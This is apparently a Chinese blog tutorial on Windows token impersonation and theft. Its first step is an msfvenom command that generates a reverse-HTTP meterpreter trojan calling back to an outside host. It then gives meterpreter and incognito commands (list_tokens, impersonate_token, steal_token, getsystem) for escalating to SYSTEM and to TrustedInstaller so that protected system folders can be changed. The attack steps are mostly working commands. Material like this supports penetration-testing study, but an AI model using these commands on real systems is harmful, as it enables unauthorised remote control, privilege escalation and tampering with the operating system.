通过token窃取实现降权或者提权

柔光的暖阳◎ 2022-12-31 11:26 124阅读 0赞

### 文章目录 ###

*  前言
 *  通过msf实现
 *   *  1.生成木马并以管理员权限运行
     *  2.实现提权到system
     *  3.降级到普通用户
 *  通过incognito工具实现
 *   *  1. 实现提权到system
     *  2. 降权到普通user
 *  获取TrustedInstaller权限
 *  参考文章

# 前言 #

windows中token有两种：

1.  Delegation token(授权令牌):用于交互会话登录，例如远程桌面
2.  Impersonation token(模拟令牌):用于非交互登录，例如dir远程主机的文c$

当我们拿到一台主机却不知道如何提权的时候，可以看看是否有高权限用户的token，如果有的话就有可能直接提权到administrator权限，这篇文章主要讲对token的利用。

# 通过msf实现 #

## 1.生成木马并以管理员权限运行 ##

msfvenom  -p windows/meterpreter/reverse_http -a x86 -f exe --platform windows -o 1.exe  LHOST=172.16.250.1 LPORT=7777

## 2.实现提权到system ##

list_tokens -u
    impersonate_token "NT AUTHORITY\SYSTEM"
    getuid

![在这里插入图片描述][20201229171858237.png]

## 3.降级到普通用户 ##

list_tokens -u
    impersonate_token "DESKTOP-RMP8TTT\test"
    getuid

这时候发现权限已经很低了，很多命令都执行不了。

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70]

不过用msf降权后就无法再进行提权了。  
![在这里插入图片描述][202012291725480.png]

# 通过incognito工具实现 #

同样得在管理员权限下执行，普通用户权限使用的话几乎看不到可用的token。  
下载地址：https://github.com/shanfenglan/test

## 1. 实现提权到system ##

incognito.exe list_tokens -u
    incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 1]

## 2. 降权到普通user ##

incognito.exe list_tokens -u
    incognito.exe execute -c "DESKTOP-RMP8TTT\test" cmd.exe

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 2]

# 获取TrustedInstaller权限 #

只有TrustedInstaller权限能修改系统文件，例如C:\\Windows\\servicing路径下system权限也无法创建文件:

![在这里插入图片描述][20201229173042505.png]

这时候我们想办法提权到TrustedInstaller：

1.首先开启TrustedInstaller服务

sc start TrustedInstaller

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 3]

2.找到TrustedInstaller对应的pid

> 首先切换到meterpreter下：

ps | grep TrustedInstaller

![在这里插入图片描述][20201229174709511.png]  
确定了TrustedInstaller.exe的pid为10780

3.提权到system并使用steal\_token命令进行令牌窃取

getsystem
    steal_token 10780

![在这里插入图片描述][2020122917475565.png]

4.切换到交互式cmd验证权限

whoami /groups

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 4]

5.修改系统文件夹

确定文件能创建成功。

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 5]

# 参考文章 #

[渗透技巧-Token窃取与利用][-Token]

[20201229171858237.png]: /images/20221120/e9691b76e6eb449cb05a129d8f8f1914.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70]: https://img-blog.csdnimg.cn/20201229172248557.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw,size_16,color_FFFFFF,t_70
[202012291725480.png]: https://img-blog.csdnimg.cn/202012291725480.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 1]: https://img-blog.csdnimg.cn/20201229170824117.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw,size_16,color_FFFFFF,t_70
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 2]: https://img-blog.csdnimg.cn/20201229171142909.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw,size_16,color_FFFFFF,t_70
[20201229173042505.png]: https://img-blog.csdnimg.cn/20201229173042505.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 3]: https://img-blog.csdnimg.cn/20201229174504345.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw,size_16,color_FFFFFF,t_70
[20201229174709511.png]: https://img-blog.csdnimg.cn/20201229174709511.png
[2020122917475565.png]: https://img-blog.csdnimg.cn/2020122917475565.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 4]: https://img-blog.csdnimg.cn/20201229174057965.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw,size_16,color_FFFFFF,t_70
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 5]: https://img-blog.csdnimg.cn/20201229174954807.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw,size_16,color_FFFFFF,t_70
[-Token]: https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Token%E7%AA%83%E5%8F%96%E4%B8%8E%E5%88%A9%E7%94%A8/